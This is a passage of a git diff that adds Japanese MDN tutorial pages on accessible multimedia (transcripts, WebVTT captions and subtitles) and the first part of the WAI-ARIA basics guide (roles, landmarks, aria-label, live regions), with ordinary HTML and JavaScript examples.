+<p>トランスクリプトを実際に作成する際は、次の選択肢があります。</p> + +<ul> + <li>商用サービス — プロフェッショナルに料金を払って文字起こししてもらうことができるでしょう。例として <a href="https://scribie.com/">Scribie</a>、<a href="https://castingwords.com/">Casting Words</a>、<a href="https://www.rev.com/">Rev</a> などの会社を見てください。色々見てアドバイスをもらい、あなたがうまく作業できる評判の良い会社を見つけてください。</li> + <li>コミュニティ/草の根/自身の文字起こし — あなたがアクティブなコミュニティや職場のチームの一員であるなら、彼らに文字起こしのヘルプを頼むことができるでしょう。試しに自分自身で文字起こしに挑戦することもできます。</li> + <li>自動サービス — <a href="https://trint.com/">Trint</a> のように利用可能な AI サービスがあります。サイトにビデオ/オーディオファイルをアップロードすれば、自動的にそれを書き起こします。YouTube では、自動的にキャプション/トランスクリプトを生成するように選択できます。生成されるトランスクリプトのクォリティは、どれだけ明瞭に話されているかに応じて大きく変わります。</li> +</ul> + +<p>人生の多くのものがそうであるように、あなたは支払った分相応のものを手に入れます。つまり、サービスが異なれば、トランスクリプト作成に要する時間と正確さが異なるということです。文字起こしをするために信頼できる会社や AI サービスにお金を払えば、正確なトランスクリプトを早く入手できるでしょう。料金を払いたくないのであれば、遅く、質の低いものになりやすいです。</p> + +<p>オーディオリソースを公開するがトランスクリプトは後で提供する、という約束は良いものではありません。そのような約束は大抵守られず、ユーザーとの間にある信頼を損なってしまいます。もしオーディオが対面ミーティングやライブスピーチのようなものであるならば、それらが行われている間にノートを取り、オーディオと共に公開して、後からまとめ上げるということはできるでしょう。</p> + +<h3 id="Transcript_examples" name="Transcript_examples">トランスクリプト例</h3> + +<p>もしあなたが自動サービスを使用しているならば、おそらくツールが提供しているユーザーインターフェイスを使用する必要があるでしょう。例えば、<a href="https://www.youtube.com/watch?v=mwF-PpJOjMs">Wait, ARIA Roles Have Categories?</a> を見て、 3点メニュー (. . .) <em>> Show Transcript</em> を選択してください。トランスクリプトは別のパネルに表れるでしょう。</p> + +<p>オーディオとそのトランスクリプトを表示するユーザーインターフェイスを自身で作成する場合、あなたのが考える形で作ることができますが、表示/非表示が可能なパネルを含むと良いかもしれません。私たちの <a href="http://mdn.github.io/learning-area/accessibility/multimedia/audio-transcript-ui/">audio-transcript-ui</a> の例を見てください。 (<a href="https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/audio-transcript-ui">ソースコード</a> も見てください).</p> + +<h3 id="Audio_descriptions" name="Audio_descriptions">オーディオの説明</h3> + +<p>オーディオに伴った映像がある場合、追加のコンテンツを描写するためにオーディオの説明を提供する必要があるでしょう。</p> + +<p>多くの場合これはビデオの形を取り、この章の次のセクションで説明されるテクニックを使用してキャプションを埋め込むことができます。</p> + +<p>しかし、いくつかのエッジケースもあります。例えば、スプレッドシートやグラフの資料を使用したミーティングの録音オーディオがあるかもしれません。その場合、それらの資料がオーディオとトランスクリプトとともに提供されていることを確認するべきであり、特にトランスクリプトの中でそれらの資料に言及されている箇所をリンクとすることが大事です。これは聴覚障害の方だけでなく、すべてのユーザーの助けになります。</p> + +<div class="note"> +<p><strong>注</strong>: オーディオトランスクリプトは、一般的に様々なユーザーグループを助けます。聴覚障害の人へオーディオに含まれたコンテンツにアクセスを提供するように、オーディオをダウンロードすることが困難な狭い帯域のユーザーのことを考えて見ましょう。パブやバーのような騒音の多い環境で、雑音のためにオーディオを聞くことが難しいユーザーのことも考えて見ましょう。</p> +</div> + +<h2 id="Video_text_tracks" name="Video_text_tracks">ビデオテキストトラック</h2> + +<p>聴覚障害者、視覚障害者、そして他のユーザー (狭い帯域のユーザーや、ビデオで使用される言語を話さないユーザー) にとってビデオをアクセシブルにするために、ビデオコンテンツにテキストトラックを含める必要があります。</p> + +<div class="note"> +<p><strong>注</strong>: テキストトラックは障害者だけでなく他のユーザーにとっても便利になる可能性があります。例えば、うるさい環境 (スポーツ中継を流している混雑したバーなど) にいるためにオーディオが聞こえないユーザーや、他の人を邪魔したくない静かな場所 (図書館など) にいるユーザーなどです。</p> +</div> + +<p>これは新しいコンセプトではありません — テレビ放送では、かなり長い間クローズドキャプションを提供しています:</p> + +<p><img alt='Frame from an old-timey cartoon with closed captioning "Good work, Goldie. Keep it up!"' src="https://mdn.mozillademos.org/files/14436/closed-captions.png" style="display: block; height: 240px; margin: 0px auto; width: 320px;"></p> + +<p>一方で、多くの国では英語の映画を自国の母語の字幕とともに提供していて、DVD では他の言語の字幕も利用可能となっています。</p> + +<p><img alt='An English film with German subtitles "Emo, warum erkennst du nicht die Schonheit dieses Ortes?"' src="https://mdn.mozillademos.org/files/14442/Subtitles_German.jpg" style="display: block; margin: 0 auto;"></p> + +<p>テキストトラックには、目的に応じた様々な種類のものがあります。あなたが接する主な種類は、次のものです:</p> + +<ul> + <li>キャプション — オーディオを聞くことができない聴覚障害者のためのものであり、話されている言葉、誰が話しているか、人が怒っているのか悲しんでいるのか、どのような雰囲気の音楽が流れているのかなど、場面に関する情報を含みます。</li> + <li>字幕 — 話されている言語を理解しないユーザーのための翻訳された音声の台本です。</li> + <li>ディスクリプション (Descriptions) — ビデオを見ることができない視覚障害者のための描写を含みます。例えば、どのようなシーンに見えるか、などです。</li> + <li>チャプタータイトル — メディアリソースを移動するユーザーを助けることを目的としたチャプターマーカーです。</li> +</ul> + +<h3 id="Implementing_HTML5_video_text_tracks" name="Implementing_HTML5_video_text_tracks">HTML5 ビデオテキストトラックの実装</h3> + +<p>HTML5 のビデオで表示されるテキストトラックは、WebVTT で記述される必要があります。これは、テキストの文字列とメタデータを含むテキストフォーマットであり、テキストが表示されるべき時間や、スタイル、ポジションといった情報まで含みます。これらの文字列はキュー (cues) と呼ばれます。</p> + +<p>典型的な WebVTT ファイルは、次のようなものです:</p> + +<pre>WEBVTT + +1 +00:00:22.230 --> 00:00:24.606 +This is the first subtitle. + +2 +00:00:30.739 --> 00:00:34.074 +This is the second. + + ...</pre> + +<p>HTML のメディア再生と共に表示させるためには、次のことをする必要があります:</p> + +<ul> + <li>.vtt ファイルとしてアクセス可能な場所に保存します。</li> + <li>{{htmlelement("track")}} 要素で .vtt へのリンクを設定します。 <code><track></code> は <code><audio></code> か <code><video></code> の間に設置する必要がありますが、すべての <code><source></code> 要素の後でなければいけません。 {{htmlattrxref("kind","track")}} 属性を使い、キューが字幕、キャプション、ディスクリプションのどれなのかを指定します。さらに、 {{htmlattrxref("srclang","track")}} を使って、字幕でどの言語が使用されているのかを伝えます。</li> +</ul> + +<p>例を見てみましょう:</p> + +<pre class="brush: html"><video controls> + <source src="example.mp4" type="video/mp4"> + <source src="example.webm" type="video/webm"> + <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> +</video></pre> + +<p>これは、字幕が表示されたビデオとなり、次のようになります:</p> + +<p><img alt='Video player with standard controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p> + +<p>詳細は <a href="/ja/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a> を読んでください。あなたは、GitHub で GIan Devlin によって作られた<a href="http://iandevlin.github.io/mdn/video-player-with-captions/">例</a>をこの記事と併せて見ることができます。(<a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">source ソースコード</a> も見てください) この例では JavaScript を使用して、ユーザーが異なる言語の字幕を選択できるようになっています。字幕を表示するためには、"CC" ボタンをクリックして英語、ドイツ語、スペイン後のオプションを選択する必要があります。</p> + +<div class="note"> +<p><strong>注</strong>: テキストトラックは {{glossary("SEO")}} でも役に立ちます。検索エンジンはテキストによって更新されるためです。検索エンジンは、テキストトラックによってビデオの途中に直接リンクすることさえできます。</p> +</div> + +<h2 id="Other_multimedia_content" name="Other_multimedia_content">その他のマルチメディアコンテンツ</h2> + +<p>上のセクションでは、あなたがウェブページに載せたいかもしれないすべての種類のマルチメディアコンテンツをカバーしていません。また、ゲーム、アニメーション、スライドショー、埋め込まれたビデオ、そして他の利用可能なテクノロジーを利用して作られたコンテンツを扱う必要があるかもしれません。例えば:</p> + +<ul> + <li><a href="/ja/docs/Web/API/Canvas_API">HTML5 canvas</a></li> + <li>Flash</li> + <li>Silverlight</li> +</ul> + +<p>そのようなコンテンツには、アクセシビリティの懸念事項とケースバイケースで対応する必要があります。いくつかのケースでは、これはそれほど悪いことではありません。例えば:</p> + +<ul> + <li>もし Flash や Silverlight のようなプラグイン技術を使用してオーディオコンテンツを埋め込んでいる場合、上の {{anch("Transcript examples")}} セクションで既に紹介したのと同じ方法でオーディオトランスクリプトを提供することができるでしょう。</li> + <li>Flash や Silverlight のようなプラグイン技術でビデオコンテンツを埋め込んでいる場合、それらの技術で利用可能なキャプション/字幕の技術を利用することができます。例えば、 <a href="http://www.adobe.com/accessibility/products/flash/captions.html">Flash captions</a>、<a href="https://help.adobe.com/en_US/as3/components/WS5b3ccc516d4fbf351e63e3d118a9c65b32-7ee5.html">Using Timed Text Captions</a> (Flash用) 、 <a href="https://blogs.msdn.microsoft.com/anilkumargupta/2009/05/01/playing-subtitles-with-videos-in-silverlight/">Playing Subtitles with Videos in Silverlight</a> などを見てください。</li> +</ul> + +<p>しかし、他のマルチメディアはアクセシブルにすることがそう簡単ではありません。例えば、没入型 3D ゲームやバーチャルリアリティアプリを扱っている場合、そのような体験に対して代替テキストを提供することは非常に困難であるし、盲目のユーザーはそのようなアプリのターゲットに当てはまらないと考えるかもしれません。</p> + +<p>しかしそのようなアプリでも、視力や色覚に問題を抱えるユーザーにとって認識できるよう、カラーコントラストや表示の明瞭さが十分であるかどうか、そしてキーボードからアクセス可能であるかを確かめることはできます。アクセシビリティは、100% を常に目指すというよりは、可能な限り行うものであるということを覚えておいてください。100% は大抵不可能なのです。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>このチャプターでは、マルチメディアにおけるアクセシビリティの関心ごとの要約をいくつかの実践的なソリューションと共に提供しました。</p> + +<p>{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + + + +<ul> + <li><a href="/ja/docs/Learn/Accessibility/What_is_accessibility">アクセシビリティとは?</a></li> + <li><a href="/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a></li> + <li><a href="/ja/docs/Learn/Accessibility/CSS_and_JavaScript">CSS と JavaScript のアクセシビリティのベスト・プラクティス</a></li> + <li><a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Multimedia">アクセシブルなマルチメディア</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Mobile">モバイルアクセシビリティ</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Accessibility_troubleshooting">アクセシビリティのトラブルシューティング</a></li> +</ul> diff --git a/files/ja/learn/accessibility/wai-aria_basics/index.html b/files/ja/learn/accessibility/wai-aria_basics/index.html new file mode 100644 index 0000000000..778b3ed1fe --- /dev/null +++ b/files/ja/learn/accessibility/wai-aria_basics/index.html @@ -0,0 +1,434 @@ +--- +title: WAI-ARIAの基本 +slug: Learn/Accessibility/WAI-ARIA_basics +tags: + - ARIA + - Accessibility + - Article + - Beginner + - CodingScripting + - Guide + - HTML + - JavaScript + - Learn + - WAI-ARIA + - semantics + - アクセシビリティ + - セマンティクス + - 初心者 + - 学習 +translation_of: Learn/Accessibility/WAI-ARIA_basics +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}}</div> + +<p class="summary">前回の記事に続いて言えることですが、意味論的ではない HTML や JavaScript によって更新される動的なコンテンツを含むような、複雑な UI コントロールの作成は難しくなることがあります。 WAI-ARIA は、ブラウザーや支援技術が認識できるさらなる意味論を追加することによってそのような問題に対処し、ユーザーの理解を助ける技術です。 ここでは、アクセシビリティを向上させるための基本的な使い方を説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターの知識、 HTML 、 CSS 、 JavaScript に対する基本的な理解、 <a href="/ja/docs/Learn/Accessibility">前回までの記事</a>に対する理解</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>WAI-ARIA、および、アクセシビリティを向上させるために必要に応じて有用な追加の意味論を提供する方法について知識を得ること</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_WAI-ARIA" name="What_is_WAI-ARIA">WAI-ARIA って何？</h2> + +<p>まずは、WAI-ARIA とは何か、そして何ができるのかという点から始めましょう。</p> + +<h3 id="A_whole_new_set_of_problems" name="A_whole_new_set_of_problems">全く新しい問題</h3> + +<p>ウェブアプリがより複雑で動的なものになると、新しいアクセシビリティの機能と問題が明らかになってきます。</p> + +<p>例えば、 HTML5 は普遍的なページの機能を定義するためにいくつもの意味論的要素を取り入れました（{{htmlelement("nav")}} 、 {{htmlelement("footer")}} 等）。 これらが利用可能になる以前は、開発者は <code><div class="nav"></code> のように単に {{htmlelement("div")}} を ID や class と共に使っていましたが、メインナビゲーションのようなページ内の機能をプログラムで識別する簡単な方法が無いために問題がありました。</p> + +<p>初期の解決方法は、ナビゲーションへとリンクさせるため、次のようにページ上部に1つ以上の隠しリンク（もしくは他の何か）を追加することでした。</p> + +<pre class="brush: html"><a href="#hidden" class="hidden">Skip to navigation</a></pre> + +<p>しかしこれは簡潔な方法ではない上に、スクリーンリーダーがページの先頭から読み込む場合にのみ利用できるものでした。</p> + +<p>他の例としては、アプリが日付選択のための日付ピッカーや値選択のためのスライダーなどの複雑なコントロールを使いだしたケースがあります。 HTML5 は、そのようなコントロールを表す特別な入力タイプを提供しています。</p> + +<pre class="brush: html"><input type="date"> +<input type="range"></pre> + +<p>これらはブラウザー間で十分にサポートされておらず、またスタイル付けすることが非常に困難であるため、ウェブサイトのデザインに合わせる上で不便となります。 結果として、開発者は多くの場合 JavaScript ライブラリを利用して複数のネストされた {{htmlelement("div")}} でそのようなコントロールを生成したり、クラス名を持った表要素に対して CSS によるスタイル付けと JavaScript によるコントロールを行ったりします。</p> + +<p>この場合の問題は、見た目上は動作するものの、スクリーンリーダーはそれらが何なのか全く理解できず、ユーザーには意味を成さないごちゃごちゃの要素であるとしか教えられないという点にあります。</p> + +<h3 id="Enter_WAI-ARIA" name="Enter_WAI-ARIA">WAI-ARIA の導入</h3> + +<p><a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a> は W3C によって定められた仕様で、要素に適用できる追加の意味論を提供する一連の HTML 属性を定義しており、それが欠けているどのような場所でもアクセシビリティを向上させます。 この仕様では、主に次の3つの機能があります。</p> + +<ul> + <li><strong>ロール（Role）</strong> — これは要素が何か、もしくは何をするかを定義します。 多くの場合はいわゆるランドマークロール（landmark role）であり、主に HTML5 構造要素の意味論を複製します。 例えば、 <code>role="navigation"</code> ({{htmlelement("nav")}}) や <code>role="complementary"</code> ({{htmlelement("aside")}}) などです。 しかし、それ以外にも別のページ構造を定義するものもあります。 例えば、 <code>role="banner"</code> 、 <code>role="search"</code> 、 <code>role="tabgroup"</code> 、 <code>role="tab"</code> 等で、 UI に多く見られます。</li> + <li><strong>プロパティ（Property）</strong> — これは要素の性質を定義するものであり、追加の意図や意味論を与えるために使用することができます。 例えば、 <code>aria-required="true"</code> はフォーム入力が有効となるために値を入力しなければならないことを定義し、 <code>aria-labelledby="label"</code> は、要素に ID を追加することで、複数の場合も含めてページ内の他のどの要素からもラベルとして参照することを可能にします。 これは <code><label for="input"></code> ではできません。 別の例として、 <code>aria-labelledby</code> を使って主な説明を含む1つの {{htmlelement("div")}} が表の複数セルのラベルであると指定することができますし、画像の代替テキストの代わりとして使用することもできます。 これは、 <code>alt</code> 属性で繰り返すのではなく、ページの既存の情報を画像の代替テキストとして指定します。 <a href="/ja/docs/Learn/Accessibility/HTML#Text_alternatives">代替テキスト</a> で例を確認することができます。</li> + <li><strong>ステート（State）</strong> — 要素の現在の状態を定義する特別なプロパティです。 例えば、 <code>aria-disabled="true"</code> は、フォーム入力が現在 disabled であることをスクリーンリーダーに対して伝えます。 ステートはプロパティとは異なり、プロパティはアプリのライフサイクルを通して変化しないのに対して、ステートは主に JavaScript によって変更されます。</li> +</ul> + +<p>WAI-ARIA 属性の重要な点は、ブラウザーのアクセシビリティ API（スクリーンリーダーはここから情報を取得する）によって提供される情報を除いて、それらはウェブページに何の影響も与えないという点です。 WAI-ARIA はウェブページの構造や DOM に影響を与えませんが、 CSS の要素選択で利用することが可能です。</p> + +<div class="note"> +<p><strong>注</strong>: WAI-ARIA の仕様で、ARIA ロールの使用方法と追加情報へのリンクを含む便利なリストを確認することができます。 <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">ロールの定義</a>（英語）を見てください。</p> + +<p>この仕様では、プロパティとステートの追加情報を含んだリストも確認することができます。 <a href="https://www.w3.org/TR/wai-aria-1.1/#state_prop_def">ステートとプロパティの定義（すべての aria-* 属性）</a>（英語）を見てください。</p> +</div> + +<h3 id="Where_is_WAI-ARIA_supported" name="Where_is_WAI-ARIA_supported">WAI-ARIA はどこでサポートされていますか？</h3> + +<p>この質問に答えるのは簡単ではありません。 次の理由より、どこで、WAI-ARIA のどの機能がサポートされているのかを記述する決定的なリソースを見つけることが難しいためです。</p> + +<ol> + <li>WAI-ARIA には大量の機能がある。</li> + <li>検討しなければいけないオペレーティングシステム、ブラウザー、スクリーンリーダーの組み合わせが大量にある。</li> +</ol> + +<p>最後の点は重要です。 そもそもスクリーンリーダーを使用するためには、オペレーティングシステムが所定のアクセシビリティ API を持つブラウザーを動作させる必要があり、それはスクリーンリーダーが動作するために必要となる情報を提供しなければいけません。 ほとんどの人気の OS は、スクリーンリーダーが動作可能である1つか2つの所定のブラウザーを持っています。 Paciello Group は、この件に関してほぼ最新のデータを投稿しています — <a href="https://www.paciellogroup.com/blog/2014/10/rough-guide-browsers-operating-systems-and-screen-reader-support-updated/">ラフガイド: ブラウザ、オペレーティングシステム、スクリーンリーダーのサポート</a>（英語）を見てください。</p> + +<p>次に、ブラウザーが問題となっている ARIA の機能をサポートしているのか、および API を通してそれらを公開しているのかという点を気にする必要があります。 しかし、スクリーンリーダーがそれらの情報を認識し、ユーザーに有益なやり方で伝えているのかという点もまた気にしなければいけません。</p> + +<ol> + <li>ブラウザーのサポート状況は概ね良いです。 本記事の執筆時点で、 <a href="http://caniuse.com/#feat=wai-aria">caniuse.com</a> は全体のブラウザーの WAI-ARIA のサポート状況は 88% だとしています。</li> + <li>スクリーンリーダーの ARIA のサポート状況はそこまでではありませんが、多くの一般的なスクリーンリーダーはそれに近いものになってきています。 Powermapper による <a href="http://www.powermapper.com/tests/screen-readers/aria/">WAI-ARIA のスクリーンリーダーの互換性</a>（英語）の記事で、サポート状況を確認することができます。</li> +</ol> + +<p>この記事では、全ての WAI-ARIA の機能と詳細についてカバーするわけではありません。 代わりに、あなたが知るべき最も重要な WAI-ARIA の機能についてカバーします。 もしサポートの詳細について何も記述してしない場合は、その機能が十分にサポートされていると想定してください。 この例外がある場合は、明確に記述します。 </p> + +<div class="note"> +<p><strong>注</strong>: JavaScript ライブラリには WAI-ARIA をサポートしているものがありますが、それはライブラリが複雑なフォームコントロールのような UI を生成した場合に、アクセシビリティを向上させるための ARIA 属性を追加することを意味します。 迅速な UI 開発のためにサードパーティーの JavaScript ライブラリを探しているのであれば、その決断を下す際、UI のアクセシビリティのサポートを重要な要素として必ず考慮すべきです。 良い例としては、 jQuery UI（<a href="https://jqueryui.com/about/#deep-accessibility-support">jQuery UI について: ディープアクセシビリティサポート</a>（英語）を見てください）、 <a href="https://www.sencha.com/products/extjs/">ExtJS</a> 、 <a href="https://dojotoolkit.org/reference-guide/1.10/dijit/a11y/statement.html">Dojo/Dijit</a> があります。</p> +</div> + +<h3 id="When_should_you_use_WAI-ARIA" name="When_should_you_use_WAI-ARIA">いつ WAI-ARIA を使うべき？</h3> + +<p>私達は WAI-ARIA が作られるに至ったいくつかの問題について最初の方で話しましたが、基本的には WAI-ARIA が有用となる4つの主な場面があります。</p> + +<ol> + <li><strong>道しるべ/ランドマーク（Signpost/Landmark）</strong>: ARIA の <code>role</code> 属性の値は、HTML 要素の意味論（例えば {{htmlelement("nav")}}）を再現するランドマークとして振る舞ったり、 <code>search</code> 、 <code>tabgroup</code> 、 <code>tab</code> 、 <code>listbox</code> のようにHTML5 の意味論の範囲外となる道しるべ（signpost）を異なる機能エリアに提供することができます。</li> + <li><strong>動的なコンテンツの更新</strong>: スクリーンリーダーは、絶えず更新されるコンテンツが得意ではない傾向があります。 ARIA の <code>aria-live</code> を使うことで、 <a href="/ja/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> や <a href="/ja/docs/Web/API/Document_Object_Model">DOM API</a> を通してコンテンツが更新された場合に、スクリーンリーダーのユーザーに対してそれを伝えることができます。</li> + <li><strong>キーボードのアクセシビリティの向上</strong>: キーボードのアクセシビリティを最初から持つ HTML 要素がありますが、 JavaScript を使ってそれ以外の要素に同じようなインタラクションをさせる場合、スクリーンリーダーにとって困難が生じます。 こうしなければならない場合、 WAI-ARIA は他の要素に対してフォーカスを得る手段を提供しています（<code>tabindex</code> の使用）。</li> + <li><strong>意味論的ではないコントロールのアクセシビリティ</strong>: ネストした一連の <code><div></code> が CSS/JavaScript と共に複雑な UI 機能を構成していたり、ネイティブのコントロールが JavaScript によって大きく強化/変更されている場合、アクセシビリティの提供は困難になります。 そこに意味論や手がかりが無ければ、スクリーンリーダーのユーザーはその機能が何をするのか判断するのが難しくなるでしょう。 このような状況では、 <code>button</code> 、 <code>listbox</code> 、または <code>tabgroup</code> といったロールの組み合わせ、もしくは <code>aria-required</code> や <code>aria-posinset</code> などのプロパティにより機能の手がかりを提供することで、 ARIA は足りないものを補うことができます。</li> +</ol> + +<p>一点忘れてはいけないのが、 <strong>WAI-ARIA は必要な場合のみ使用する</strong>という点です。 理想的には、スクリーンリーダーのユーザーの理解に必要となる意味論の提供は、常に <a href="/ja/docs/Learn/Accessibility/HTML">ネイティブの HTML 機能</a> を使用して行うべきです。 しかし、コードの制御が限定されていたり、 HTML 要素への実装が容易ではない複雑なものを作っているなどの理由で、これが困難となるケースがあります。 そのような場合、 WAI-ARIA はアクセシビリティを向上させる上で価値のあるツールとなります。</p> + +<p>もう一度言いますが、必要な時だけ使ってください！</p> + +<div class="note"> +<p><strong>注</strong>: 実際のさまざまなユーザーによってあなたのサイトをテストすることも忘れないでください — 障害のないユーザー、スクリーンリーダーを使用するユーザー、キーボードナビゲーションを使用するユーザーなどです。 どれだけうまく動作するかという点で、彼らはあなたよりもうまく観察してくれるでしょう。 </p> +</div> + +<h2 id="Practical_WAI-ARIA_implementations" name="Practical_WAI-ARIA_implementations">実際的な WAI-ARIA の実装</h2> + +<p>次のセクションでは、実際の例と共に、より詳細な4つのエリアを見てみます。 続行する前に、これから見る例をテストできるように、スクリーンリーダーのテスト環境を用意してください。 </p> + +<p>詳細は <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">スクリーンリーダーのテスト</a> を確認してください。</p> + +<h3 id="SignpostsLandmarks" name="SignpostsLandmarks">道しるべ/ランドマーク（Signpost/Landmark）</h3> + +<p>WAI-ARIA は <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions"><code>role</code> 属性</a>（英語）をブラウザーに追加することで、必要に応じてあなたのサイトに付加的な意味論的<span class="tlid-translation translation"><span title="">価値</span></span>を追加することができます。 これが有用となる最初の領域は、スクリーンリーダーのユーザーが共通のページ要素を見つけることができるようになる情報の提供です。 例を見てみましょう。私達の <a href="https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-no-roles">website-no-roles</a> の例（<a href="http://mdn.github.io/learning-area/accessibility/aria/website-no-roles/">実際の動作</a>）は、次の構造を持っています。</p> + +<pre class="brush: html"><header> + <h1>...</h1> + <nav> + <ul>...</ul> + <form> + <!-- search form --> + </form> + </nav> +</header> + +<main> + <article>...</article> + <aside>...</aside> +</main> + +<footer>...</footer></pre> + +<p>もしあなたがモダンなブラウザーでスクリーンリーダーのテストをした場合、いくつかの有用な情報を手に入れるでしょう。 例えば、 VoiceOver は次の内容を読み上げます:</p> + +<ul> + <li><code><header></code> 要素の上 — "banner, 2 items"（見出しと <code><nav></code> を含んでいる）</li> + <li><code><nav></code> 要素の上 — "navigation 2 items"（リストとフォームを含む）</li> + <li><code><main></code> 要素の上 — "main 2 items"（記事（article）と余談（aside）を含む）</li> + <li><code><aside></code> 要素の上 — "complementary 2 items"（見出しとリストを含む）</li> + <li>検索フォーム入力の上 — "Search query, insertion at beginning of text"</li> + <li><code><footer></code> 要素の上 — "footer 1 item"</li> +</ul> + +<p>VoiceOver の Landmarks メニューを見ると（VoiceOver キー + U でアクセスし、矢印キーでメニューを選択する）、多くの要素が素早くアクセスできるように綺麗に並んでいることが確認できます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14420/landmarks-list.png" style="display: block; margin: 0 auto;"></p> + +<p>しかし、これは改善することができます。 検索フォームはユーザーが見つけたいと考える重要なランドマークですが、ここでは Landmarks メニューの中に列挙されておらず、検索入力<code>（<input type="search"></code>）であるということ以上に目立つランドマークとしても扱われていません。 加えて、いくつかの古いブラウザー（特に IE8）は HTML5 要素の意味論を認識しません。</p> + +<p>ARIA の機能を使用してこれを改善しましょう。 まず、 HTMLに対していくつかの <code>role</code> 属性を追加します。 私達のオリジナルファイルをコピーするか（<a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/website-no-roles/index.html">index.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/website-no-roles/style.css">style.css</a> を参照）、 <a href="https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-aria-roles">website-aria-roles</a> の例（<a href="http://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/">実際の動作</a>）へ移動すると、次の構造を確認できます。</p> + +<pre class="brush: html"><header> + <h1>...</h1> + <nav role="navigation"> + <ul>...</ul> + <form role="search"> + <!-- search form --> + </form> + </nav> +</header> + +<main> + <article role="article">...</article> + <aside role="complementary">...</aside> +</main> + +<footer>...</footer></pre> + +<p>この例では、ボーナス機能も提供しています — {{htmlelement("input")}} は <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-label">aria-label</a></code> 属性が設定されていますが、これは {{htmlelement("label")}} 要素が含まれていない場合でもスクリーンリーダーによって読み上げられる説明ラベルを設定します。 こういうケースでは、この機能はとても便利です — このような検索フォームはよくあるものであり、簡単に識別できるので、見えるラベルを設定するとデザインを台無しにしてしまうのです。</p> + +<pre class="brush: html"><input type="search" name="q" placeholder="Search query" aria-label="Search through site content"></pre> + +<p>さて、この例を VoiceOver で見た時、次の改善を確認することができます。</p> + +<ul> + <li>ページをブラウジングした時と、 Landmarks メニューで見た時の両方において、検索フォームが分離したアイテムとして認識される。</li> + <li>フォーム入力がハイライトされた時、 <code>aria-label</code> に含まれているテキストが読み上げられる。</li> +</ul> + +<p>さらに、このサイトは IE8 のような古いブラウザーを使用しているユーザーにとってもアクセス可能となる可能性が高いので、そのために ARIA ロールを含める価値もあります。 そして、もしあなたのサイトが何らかの理由により <code><div></code> のみで構成されているなら、必要な意味論を提供するために確実に ARIA ロールを含めるべきです！</p> + +<p>改善された検索フォームは、 HTML5 で利用できる意味論以上に ARIA が可能とすることを見せてくれました。 あなたは以下の記事、特に {{anch("Accessibility of non-semantic controls","意味論的でないコントロールのアクセシビリティ")}} のセクションで、より多くの意味論や ARIA のプロパティ/属性が持つ力を見ることがでしょう。 まずは、 ARIA が動的コンテンツの更新をどのように助けるかを見てみましょう。</p> + +<h3 id="Dynamic_content_updates" name="Dynamic_content_updates">動的なコンテンツの更新</h3> + +<p>DOM に読み込まれたコンテンツ（本文の内容や、画像の代替テキストなど）はスクリーンリーダーを用いて容易にアクセスできます。 従って、テキストコンテンツで作られた伝統的で静的なウェブサイトを、視覚的ハンディキャップを持つ人々にとってアクセス可能にすることは容易です。</p> + +<p>問題はモダンなウェブアプリが静的なテキストだけを使うことは少ないという点です。 それらは動的に更新されるコンテンツ、すなわち、<a href="/ja/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>、<a href="/ja/docs/Web/API/Fetch_API">Fetch</a>、<a href="/ja/docs/Web/API/Document_Object_Model">DOM API</a> などの機構を通してページ全体をリロードすることなく更新を行うコンテンツで構成されることが多いです。 このような箇所はしばしば<strong>ライブリージョン（live region）</strong>と呼ばれます。</p> + +<p>簡単な例を見てみましょう。 <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-no-live.html">aria-no-live.html</a> をご覧ください（もしくは <a href="http://mdn.github.io/learning-area/accessibility/aria/aria-no-live.html">動作版をご覧ください</a>）。 この例では、ランダムに引用文を表示する1つの箱があります。</p> + +<pre class="brush: html"><section> + <h1>Random quote</h1> + <blockquote> + <p></p> + </blockquote> +</section></pre> + +<p>JavaScript が <code><a href="/ja/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> を通して JSON ファイルを読み込みます。 この JSON ファイルには、複数のランダムな引用文とその著者が含まれています。 読み込みの完了後に <code><a href="/ja/docs/Web/API/WindowTimers/setInterval">setInterval()</a></code> ループを開始し、引用文の表示を10秒ごとに新しいものに切り替えます。</p> + +<pre class="brush: js">var intervalID = window.setInterval(showQuote, 10000);</pre> + +<p>これは正しく動作しますが、アクセシビリティとしてはよくありません。 